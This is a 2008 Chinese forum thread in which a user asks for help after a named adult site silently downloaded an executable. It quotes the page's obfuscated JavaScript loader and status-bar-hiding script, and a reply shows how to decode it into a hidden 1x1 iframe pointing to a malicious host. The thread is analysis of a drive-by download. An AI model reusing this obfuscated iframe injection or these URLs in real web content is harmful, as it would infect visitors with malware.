急救！！！

ly5360

国外色情网址：http://xxvoyeur.net/
。。第一次访问自动下载%windir%\system32\~.exe。不过是老病毒了。
但是不知道是利用什么漏洞下载下来的。。


文内有这么一段代码。。不过不知道如何解密。

1. 
   
2. <script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Djgsbnf%2631tsd%264E%2633iuuq%264B00mpwjohqpso/dpn0j/qiq%2633%2631xjeui%264E%26332%2633%2631ifjhiu%264E%26332%2633%264F%264D0jgsbnf%264F1')</script>
   
3. <script>
   
4. function hidestatus(){
   
5. window.status=''
   
6. return true
   
7. }
   
8. if (document.layers)
   
9. document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)
   
10. document.onmouseover=hidestatus
    
11. document.onmouseout=hidestatus
    
12. </script>
    

复制代码

深红的雪

document.write改alert，再alert出t的值

<IFRAME src="http://lovingporn.com/i.php" width=1 height=1></IFRAME></BODY></HTML>

不过偶这里连不上

[ 本帖最后由 rappar 于 2008-2-18 21:01 编辑 ]

ly5360

收到~~谢谢rappar提醒~~